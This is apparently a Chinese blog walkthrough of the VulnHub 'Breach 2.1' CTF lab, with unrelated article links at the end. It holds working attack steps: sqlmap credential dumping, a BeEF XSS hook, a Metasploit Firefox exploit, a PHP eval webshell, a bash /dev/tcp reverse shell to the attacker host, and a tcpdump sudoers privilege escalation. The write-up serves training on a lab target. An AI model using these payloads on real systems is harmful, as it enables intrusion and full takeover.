VulnHub - breach系列:breach-2.1
VulnHub - breach系列:breach-2.1
靶机描述
Breach 2.0 是多部分系列中的第二部分,是一项 boot2root/CTF 挑战,旨在展示真实场景,沿途充满了曲折和恶作剧。
VM 配置了静态 IP(192.168.110.151),因此您需要将主机适配器配置到此子网。抱歉!最后一个使用静态 IP
提示:想象一下繁忙工作日中的生产环境。
端口信息收集
初步扫描
nmap -sT --min-rate 10000 -p- 192.168.110.151
详细扫描
sudo nmap -sT -sV -sC -O -p111,33074,65535 192.168.110.151
好像能利用的只有ssh,那先尝试连接一下,由于没有获得任何用户名,优先尝试root
提到名为peter
的用户,开下脑洞,密码就是inthesource
在刚输入完时明显有卡顿,应该是在加载一些服务。登入后连接被关闭,更加说明了这一点
重新扫描端口
果然新增了80端口
漏洞探测
sudo nmap --script=vuln -p80,111,33074,65535 192.168.110.151
可以看到有/blog
目录
blog后台渗透
先访问web主界面,源码有注释
<!DOCTYPE html>
<html>
<head>
<title>Initech Cyber Consulting, LLC</title>
</head>
<body>
<center><h1>Welcome to Initech Cyber Consulting, LLC<h1></center>
<center><IMG SRC="/images/beef.jpg" WIDTH=500 HEIGHT=500></center>
<p><b>They really shouldn't have taken my stapler away...</b></p>
<!--I like hints! Here at Initech we don't trust our users and either should you!-->
<!--I'm not just going to stick creds here, really, I'm not. Sorry-->
</body>
</html>
访问/blog
目录,有登录框,刚才的peter无法登录。还有一个搜索框
SQL注入
单引号直接报错,sqlmap启动
sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs
available databases [5]:
[*] blog
[*] information_schema
[*] mysql
[*] oscommerce
[*] performance_schema
查看后发现密码在oscommerce
库内
sqlmap -u "http://192.168.110.151/blog/index.php?search=" -D oscommerce -T osc_administrators --columns
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| id | int(11) |
| user_name | varchar(255) |
| user_password | varchar(40) |
+---------------+--------------+
sqlmap -u "http://192.168.110.151/blog/index.php?search=" -D oscommerce -T osc_administrators -C user_name,user_password --dump
+-----------+-------------------------------------+
| user_name | user_password |
+-----------+-------------------------------------+
| admin | 685cef95aa31989f2edae5e055ffd2c9:32 |
+-----------+-------------------------------------+
在线破解md5,得到密码32admin
但是尝试ssh以及blog页面都无法登入
回到上一步,那输入框除了sql注入,当然也可以尝试xss,结合首页的图片beef
,联想到beef-xss
这里kali要切回NAT模式,不然可能会无法下载
XSS获取shell
在注册用户处输入<script src="http://192.168.110.129:3000/hook.js"></script>
,密码邮箱随便输
注册后点击Members
触发
等待触发XSS后等待BeEF连接
因为靶机是火狐浏览器,所以选用火狐模块攻击
msfconsole
search firefox
use exploit/multi/browser/firefox_proto_crmfrequest
设置参数并执行
show options
set SRVHOST 192.168.110.129
set URIPATH msf
set LHOST 192.168.110.129
run
通过BeEF的Redirect Browser(重定向)访问生成的链接
要多等待一会使它成功建立会话,可用sessions查看
将会话迁移到meterpreter便于后续操作
use post/multi/manage/shell_to_meterpreter
set session 1
run
现在就拿到shell了
回想起ssh登入peter
时连接关闭的状况,优先查看SSH的配置文件
cat /etc/ssh/sshd_config
在文件尾写到登入peter
时会运行/usr/bin/startme
UsePAM yes
AllowUsers peter
ForceCommand /usr/bin/startme
AddressFamily inet
查看对应文件内容,startme的作用是开启apache服务, 所以登录成功peter才开放80端口
peter@breach2:~$ cat /usr/bin/startme
cat /usr/bin/startme
#!/bin/bash
sudo /etc/init.d/apache2 start &> /dev/null
刚才查看目录时发现用户主目录下有个隐藏文件.bashrc
,每次执行bash时都会加载,也可以理解为当登录peter用户时就会去加载peter主目录下的.bashrc
。因为当前用户是peter,所以对peter主目录下的文件拥有可写权限,只要在.bashrc
文件下写入exec sh
,那么就能在SSH连接peter用户时就会执行exec sh
命令,从而调用一个命令行。
peter@breach2:~$ ls -alh
-rw-r--r-- 1 peter peter 3.5K Jun 14 2016 .bashrc
peter@breach2:~$ echo 'exec sh' > .bashrc
注:
.bashrc
- 为了加载用户配置,bash 在每次启动时都会加载
.bashrc
文件的内容。- 每个用户的 home 目录都有这个 shell 脚本。
- 它用来存储并加载用户的终端配置和环境变量。
这时就可以正常ssh登入peter
这里在看Zer0-hex师傅的视频时学到了一招写公钥登入,0:52:10处开始
ssh信息收集
sudo -l
history # 查看历史记录
uname -a # 查看内核版本
ps -anx |grep root # 查看进程
ps -ef
crontab -l # 计划任务
ls -la # 查看隐藏文件及权限
find / -perm -u=s -type f 2>/dev/null # 查看suid
find / -perm -g=s -type f 2>/dev/null # 查看guid
netstat -tunlpa # 查看端口开放状态
cat /etc/passwd
一路查看过去,发现有个2323端口正处于监听状态
telnet登入
telnet连接
telnet 127.0.0.1 2323
得到了一个坐标,29 45'46" N 95 22'59" W
,谷歌地图启动
经过尝试 用户名:milton密码:Houston 登录成功
得到以下信息后用户被弹出
$ telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
Password:
Last login: Wed Jul 20 21:04:18 EDT 2016 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?
使用 grep 全局搜索看看是哪个文件打印出来的
grep -r "Whose stapler is it?" / 2>/dev/null
- -r :指定关键字
- / :所有目录
$ grep -r "Whose stapler is it?" / 2>/dev/null
/usr/local/bin/cd.py: question = raw_input("Whose stapler is it?")
Binary file /proc/5063/task/5063/cmdline matches
Binary file /proc/5063/cmdline matches
查看py文件
$ cat /usr/local/bin/cd.py
#!/usr/bin/python
import signal
import time
import os
s = signal.signal(signal.SIGINT, signal.SIG_IGN)
countdown=3
while countdown >0:
time.sleep(1)
print(countdown)
countdown -=1
if countdown <1:
question = raw_input("Whose stapler is it?")
if question == "mine":
os.system("echo 'Woot!'")
else:
os.system("kill -9 %d"%(os.getppid()))
signal.signal(signal.SIGINT, s)
登录后输入mine即可
再次查看网络连接状态
netstat -tunlpa
发现开放8888端口
有oscommerce
目录,可知刚才的sql注入爆破的就是这里的库
oscommerce后台渗透
目录扫描
dirb http://192.168.110.151:8888/oscommerce/
---- Scanning URL: http://192.168.110.151:8888/oscommerce/ ----
+ http://192.168.110.151:8888/oscommerce/.htaccess (CODE:200|SIZE:829)
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/admin/
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/download/
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/ext/
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/images/
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/includes/
+ http://192.168.110.151:8888/oscommerce/index.php (CODE:200|SIZE:9029)
+ http://192.168.110.151:8888/oscommerce/info.php (CODE:200|SIZE:8071)
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/pub/
==> DIRECTORY: http://192.168.110.151:8888/oscommerce/templates/
有/admin/
目录,访问登入,之前破解的admin/32admin登入失败,但是admin/admin登入成功...看来还在藏
邮件里没什么可用信息,进入文件管理器找找
文件上传
明显可以文件上传,includes
目录下有个可写目录work
传个一句话木马,蚁剑连接
<?php eval($_POST['cmd'])?>
得知当前是blumbergh
用户,可以使用tcpdump进行提权
当前是webshell,不利于提权,再反弹个shell
这一块的姿势很多,但目的都是反弹shell并优化shell
蚁剑反弹shell
kali开启监听
nc -lnvp 9999
在蚁剑的终端
bash -c 'bash -i >& /dev/tcp/192.168.110.129/9999 0>&1'
监听成功,转换为交互式shell
python3 -c 'import pty; pty.spawn("/bin/sh")'
提权获取flag
tcpdump提权
查询tcpdump提权命令
将blumbergh提升到root并且无密码登录
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/shell.sh && chmod +x /tmp/shell.sh && sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root && sudo -i
后面发现查看权限时已经可以直接使用sudo -i命令进行提权
这里蚁剑重新弹了个shell查看效果
拿到flag
总结
信息收集真的很重要,在不注意的角落可能藏着可用信息
比较费时费力的靶机,姿势挺多的,自己尝试无果时跟着这两位师傅的文章一步步打下来
https://www.cnblogs.com/sainet/p/15783539.html
https://www.cnblogs.com/autopwn/p/13634310.html
VulnHub - breach系列:breach-2.1的更多相关文章
- Vulnhub靶机系列之Acid
Acid 下载地址: https://download.vulnhub.com/acid/Acid.rar https://download.vulnhub.com/acid/Acid.rar ...
- 国外PHP学习网站书籍资料汇总
这篇文章汇总了全面多样的PHP学习资源,包括书籍.网站.文章等,帮助你提高PHP开发能力,巩固PHP知识.结合上一篇<重磅资料!Github上的PHP资源汇总大全>,一定可以让你的PHP技 ...
- SSL&TLS渗透测试
什么是TLS&SSL? 安全套接字层(SSL)和传输层安全(TLS)加密通过提供通信安全(传输加密)和为应用程序如网络.邮件.即时消息和某些虚拟私有网络(VPN)提供隐私的方式来确保互联网和网 ...
- Breach - HTML5 时代,基于 JS 编写的浏览器
Breach 是一款属于 HTML5 时代的开源浏览器项目,,完全用 Javascript 编写的.免费.模块化.易于扩展.这个浏览器中的一切都是模块,Web 应用程序在其自己的进程运行.通过选择合适 ...
- Vulnhub系列——持续更新
vulnhub系列--持续更新 一 · XXE Lab: 1 使用vmware搭建靶机 扫描存活主机 找到目标主机--192.168.1.18 开始扫描目标端口 发现只开了一个80 ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
- VulnHub系列(一)DC-1
环境 kali linux 和 DC-1 都是搭建在VMware上的虚拟机,都是NAT模式. 主机发现 NAT模式下虚拟机没有被分配真实的ip地址,他们通过共享宿主机的ip地址访问互联网.我们可以通过 ...
- Vulnhub系列:chili
0x01 靶机信息 靶机:chili难度:简单下载:https://www.vulnhub.com/entry/chili-1,558/ 靶机描述: 0x02 信息收集 nmap扫描存活主机确定靶场i ...
- Vulnhub系列:Tomato(文件包含getshell)
这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell 0x01 靶机信息 靶机:To ...
- Vulnhub系列:Os-hackNos
0x01环境搭建 靶机链接: https://www.vulnhub.com/entry/hacknos-os-hacknos,401/发布日期: 2019.11.27靶机描述: 描述 难度:容易中级 ...
随机推荐
- 01 redis 基础入门
目录 介绍 特点 redis与memcache比较 适用场景 redis 核心配置说明 Redis 对key的通用操作命令 字符串 Hash类型 课程学习地址: https://www.bilibil ...
- width:100%与width:auto区别
小知识 width:100%与width:auto区别 width:100% : 子元素的 content 撑满父元素的content,如果子元素还有 padding.border等属性,或者是在父元 ...
- PyQt5 GUI编程(组件使用)
一.简介 PyQt5 是一个用于创建图形用户界面(GUI)应用程序的 Python 绑定,它基于 Qt 库.PyQt5 提供了大量的组件(也称为控件或部件),用于构建复杂的用户界面.以下是一些常用的 ...
- Kmesh进入CNCF云原生全景图,实现网格治理sidecarless化
本文分享自华为云社区<Kmesh进入CNCF 云原生全景图> ,作者:云容器大未来. 近日,Kmesh 正式进入 CNCF 云原生全景图,位于 Service Mesh 类别下. CNCF ...
- 解决input中输入中文过程中会触发input事件的问题
问题描述: 监听文本输入框的input事件,在拼写汉字时会触发input事件,如下图: 需求: 选词完成后触发input事件,只触发一次. 解决办法: 通过查阅资料得知在输入中文(包括语音识别时)会先 ...
- 源码分析——MyBatis与Spring整合后如何保证SqlSession线程安全
在MyBatis架构中SqlSession是提供给外层调用的顶层接口,它是MyBatis对外暴露的最重要的接口,用户通过该接口即可完成数据库的全部操作.在上文中我们明白了我们常用的Mybatis动态代 ...
- LOTO示波器软件新增导览功能
新版本的大部分型号LOTO示波器的上位机软件我们改成了导航工具条方式.原来的方式是把所有功能都显示在不同的标签页中,这样的优点是非常快捷方便,基本上用鼠标一两次点击就能直达想要的功能设置.但是缺点是不 ...
- 继承,super,重写,多态,抽象,接口
继承,super,重写,多态,抽象,接口 继承 extends 用于表示两个类之间的继承关系,继承是OOP的四大特性之一,他允许一个类(称之为子类或派送类) 继承另一个类(称之为父类或基类)的变量和方 ...
- kettle从入门到精通 第五十二课 ETL之kettle Avro output
1.上一节课我们学习了avro input,本节课我们一起学习下avro out步骤. 本节课通过json input 加载json文件,通过avro out 生成avro二进制文件,写日志步骤打印日 ...
- 夜莺监控(Nightingale)上线内置指标功能
Prometheus 生态里如果要查询数据,需要编写 promql,对于普通用户来说,门槛有点高.通常有两种解法,一个是通过 AI 的手段做翻译,你用大白话跟 AI 提出你的诉求,让 AI 帮你写 p ...